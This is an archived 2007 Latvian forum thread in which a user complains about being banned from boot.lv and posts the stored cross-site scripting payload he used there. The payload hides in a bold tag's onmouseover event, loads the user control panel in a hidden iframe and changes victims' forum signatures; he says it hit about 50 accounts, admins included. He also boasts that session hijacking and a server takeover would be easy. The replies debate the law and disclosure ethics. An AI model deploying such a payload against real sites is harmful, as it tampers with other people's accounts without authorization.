Datuve :: Forums :: Arhīvs :: boot.lv drošības caurums

Datuve

Mana Datuve

Reģistrācija | Noteikumi | Paroles atjaunošana



Forums

Ieskaties

prāta darbnīca PrātaDarbnīca.lv - par interesanto visapkārt

hc hc.lv - kultūras portāls

Reklāma portālā


Raksti

Lietotāji online

Lietotāji online: 86

Reģistrētie lietotāji online: 0

Viesi online: 86

Datuve.lv video
Top.LV

boot.lv drošības caurums

Ievietoja: bērzs @ 2007.12.24 17:22  

Sveiki!

Tātad šodien mani izbanoja no boot.lv.
Pat ļaunāk izdzēsa manu kontu! Eh!

Tas viss tāpēc, ka centos šiem palīdzēt.
Tātad viņu lapā, lietotāju apskati
http://www.boot.lv/index.php?pg=15&cat=4

iespēja pievienot savu apskatu un tur ļauj izmantot b, i, u tagus.
Bet par brīnumu pie b taga atļauti arī eventi.

Tākā boot.lv ziņas un boot.lv/forums forums atrodas uz viena domeina, tad lieta sekojoša
uz bold taga onmoseover tiek izveidots ifreims, kurā ielādē lietotāja konta panelei un nomaina lietotāja parakstu uz priecīgi ziemassvētki.

Tad boot.lv forumā izveidoju diskusiju par to, ka ir šāds caurums un ka to vajadzētu sataisīt un ieliku linku uz caurumu.
Protams kādiem 50 lietotājiem paraksots ielikās: Priecīgus ziemmassvētkus by Bērzs.

Nu, tad admini ņēma mani un izdzēsa.
Es viņiem palīdzu atklāt drošības caurumu, nevainīgā veidā nodemonstrējot cauruma nozīmību, bet šie tā.

Vai tas ir normāli?


Kods šeit:

<b id="lol" onmouseover="function $(ob){return document.getElementById(ob);} $('lol').onmouseover='';$('top').innerHTML=''; self.timerlol=function(){ $('top').innerHTML+='Priecīgus ziemassvētkus '; setTimeout('timerlol();',100);}; timerlol(); aaa=0; o=document.createElement('iframe'); o.style.width='0px'; o.style.height='0px'; o.src='http://www.boot.lv/forums/index.php?act=UserCP&CODE=22'; document.getElementById('lol').appendChild(o); function onlol(){if (aaa==0) {o.contentDocument.getElementById('postcontent').innerHTML='[size=5]Priecīgus ziemassvētkus[/size] by Bērzs'; o.contentDocument.getElementById('postingform').submit(); aaa=1;}} o.onload=onlol;">Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. </b>



P.S. Ja šo lasa kāds boot.lv admins, tad atgrieziet manu kontu, es taču jums palīdzēju.

Komentāri:

#1 bērzs @ 2007.12.24 17:30

P.S. Tas, ka jūs mni nobanojāt nekādā veidā neaizlāpa caurumu.
Ja noņemsiet banu, tad varbūt pateikšu, kur vēl ir caurumi.

#2 chester7 @ 2007.12.24 18:01

Es arī redzēju, nu ko, sabijās šamie..

#3 drunk_lizard @ 2007.12.24 18:07

esi nu paijinja un paliec sjeit ar visiem saviem caurumiem
te tu buusi ljoti piemeerots.....

#4 Nmy @ 2007.12.24 18:10

drunk_lizard rakstīja:

esi nu paijinja un paliec sjeit ar visiem saviem caurumiem
te tu buusi ljoti piemeerots.....

tev vajadzētu aizliegt rakstīt, sīkais kverpli :D

#5 drunk_lizard @ 2007.12.24 18:16

telemundo, kaa tu esi visiem apriebies, hakotaajs neapteestais....
par to siikalju Nmy vispaari nekomenteesju....
aam, un nee, nesuudzos, mhhhhh
vienkaarsji ieliidu pakjircinaat izcilos administraacijas paarstavjus
manu apsveikumu sveetkos jamie jau dabuuja un izskataas, ka veeleejums ir piepildiijies
telemundo paarvaacies uz sjejieni.....

#6 drunk_lizard @ 2007.12.24 18:30

bērzs rakstīja:

drunk_lizars, tu te ķircinies, bet reāli es nomainīju tikai 50 lietotājiem parakstus, tai skaitā vairākiem adminiem. Tikt pie admina lietotāja sesijas arī būtu tīrā bērna spēles, tad uploudod kādus php pielikumus un tikt arī pie piekļuves visam serverim

muahhhh
iesaku datuves administraacijai pasjiem nekaveejoties pieskjirt sjim briesmiigajam cilveekam ruutu!!!!
varonis, ibio, mhhhh
savaa laikaa draugos bija atrasts caurums, cik tur tie tuukstosji pasji savus profilus likvideeja, bet tu te plaaties ar 5o parakstiem
cjaplaks, mhhhh

#7 m_janis @ 2007.12.24 18:31

Klau, bērzs, nezinu vai esi tas pats kretīns telemundo, bet tu krimināllikumu esi lasījis? Jā, jā, par to pašu nesankcionēto ielaušanos svešās datorsistēmās?
Ceru, tevi uz visiem laikiem izbanos arī ne šejienes.

#8 drunk_lizard @ 2007.12.24 18:40

paklau, dolbak, ja tu buutu paziistams ar datubaazu uzbuuvi, tad saprastu - NAV VAIRS TAVA AKKAUNTA un viss
ja tev piemistu veselais sapraats, tu ariidzan saprastu, ka uz tavas IP buus bans un viss
merry christmas

#9 bērzs @ 2007.12.24 18:44

Paņem user ierakstus ierakstu no backupa. Jūs taču tādus taisat?
Un noņem IP banu, savādāk proksiji baigi lēnie.

#10 m_janis @ 2007.12.24 18:55

#bērzs: Beidz smirdēt, puika. Savāri sūdus un visiem gribi iestāstīt, ka tā ir šokolāde. Ielaušanās sistēmā bija? Par iespējām ko sačakarēt paziņoji nevis adminiem, bet visai pasaulei?
Ja kas, studēt jau sen esmu beidzis, bet par atbildību likuma priekšā ir pietiekami laba izpratne, ko nevar teikt par lecīgiem tīņiem.

#11 mefisto @ 2007.12.24 19:07

Gan bērzs, gan boot koderi, abi labi.
Grūti pat pateikt , kas ir stulbāk. Izbazūnēt par koderu līkajām rokām visiem, vai atstāt tik acīmredzamu kļūdu lapā.

#12 WildGun @ 2007.12.24 19:39

D_L ir mūžīgs.Vienmēr un visur.

P.S. Ir tādi visur esošie.Un tur neko nevar darīt.

#13 bērzs @ 2007.12.24 20:24

Viescha rakstīja:

Analoģija: nepatīk man kaimiņu pacans Vasja, kurš rupji lamājas, piemēslo kāpņu telpu ar končikiem un skaļi klausās mūziku. Kādu dienu garām kāpdams redzēšu, ka šis iet no dzīvokļa ārā un aizmirst to aizslēgt. Es nevis viņam par to atgādināšu, bet pēc brīža iziešu ārā un uz sētas uzspraudīšu zīmīti: "Vasjam no piektā dzīvokļa durvis vaļā!". Un pēc tam brīnīšos, ka Vasja mani uzmeklē un krāmē pa galvu.

Tu bišķi jauc drīzāk analoģija ir tāda, ka es nevis izeju, uzmeklēju Vasju, kurš man diezko nepatīk, bet skaļi pār sētu viņam uzbļauju: "Eu, Vasja, durvis aizmirsi aizslēgt." To protams dzird vēl bariņš sētā esošo, un Vasjam nekas cits neatliek, kā slāt un aizslēgt durvis.
Nevis paidu, kad vasja aizies un tad aizeju uz tuvējo bāru un iztāstu vietējiem urlām, vai arī pats pa kluso, ko paokšķerēju viņa dzīvoklī.

Bet Vasja, kā jau dzērājs un kāpņutelpā mīzējs būdams, izlemj, ka ar mani vairs nerunās par tādu briesmīgo pazemojumu.

#14 /Ivars/ @ 2007.12.24 21:26

IDIOTS, tev jau takš forumā pateica, ka ar forumu un tur nav nekāda saistība. Par to atbild citi cilvēki un iedeva e-pasta adresi uz kurieni sūtit savu atklājumu, bet tu jau nē postē pa visām malām :D

#15 bērzs @ 2007.12.24 21:35

/Ivars/ rakstīja:

IDIOTS, tev jau takš forumā pateica, ka ar forumu un tur nav nekāda saistība. Par to atbild citi cilvēki un iedeva e-pasta adresi uz kurieni sūtit savu atklājumu, bet tu jau nē postē pa visām malām :D

Interesenti, tad kāpēc forumā 50 lietotājiem parakstā ielikās Priecīgus ziemassvētkus, ja tas nav saistīts ar forumu? Domāt vajag.

#16 /Ivars/ @ 2007.12.24 21:40

Takš nomierinies. KO tu te postē kur galīgi nekāda sakara nava ar šo forumu. Dabūsi šiten arī banus un wārnas.

#17 bērzs @ 2007.12.24 21:49

/Ivars/ rakstīja:

Takš nomierinies. KO tu te postē kur galīgi nekāda sakara nava ar šo forumu. Dabūsi šiten arī banus un wārnas.

A, ko tu postē, moš arī dabūsi banus un vārnas, dzīve ir neparedzama.

#18 /Ivars/ @ 2007.12.24 22:04

Tiešām cilvēkam smagi, pat ziemassvētku priekšvakarā nevar nomierināties un dzīvot mierīgi. Jūtu tev līdz....

#19 useris @ 2007.12.24 22:12

Atbalstu bērzu. Punkts. Visi pārējie var aizvērties. Runājot par drunk_lizard, zb tādi cilvēki, kas uzskata, ka taisnība ir tikai viņiem. Katrs komentārs satur neadekvātu uzbraucienu kādam (to pašu var teikt par datuves brīnumu mefisto). Esat dzirdējuši par iecietību?

#20 bērzs @ 2007.12.24 22:15

/Ivars/ rakstīja:

Tiešām cilvēkam smagi, pat ziemassvētku priekšvakarā nevar nomierināties un dzīvot mierīgi. Jūtu tev līdz....

Neuzstraucies, es kā īstens latvietis svinu ziemas saulgriežus, kuri ir 22.decembrī, kad arī ir gada garākā nakts. Tākā neesmu kristietis, tad ar Jēzus piedzimšanu man nav nekāda sakara.
Tāpēc varu bez pašpārmetumiem pakomentēt arī internetā kaut ko.
Bet, nu dažiem tomēr man te blakus ir sataisījuši arī svētku mielastu un dāvānas, raķetes jau izšāvām.

Bet kā ir tev?
Rij piparkūkas un sēdi internetā?

Nesaprotu, es tev ko nodarīju, ka tu uz mani tā uzēdies un lamājies?
Ā, tu biji viens no tiem, kam parakstā tika ielikts Priecīgus ziemassvētkus un pazuda sava ūberkrutā datora parametri, kurus no galvas nezini un tagad parakstu nevari atjaunot.

Nu piedod.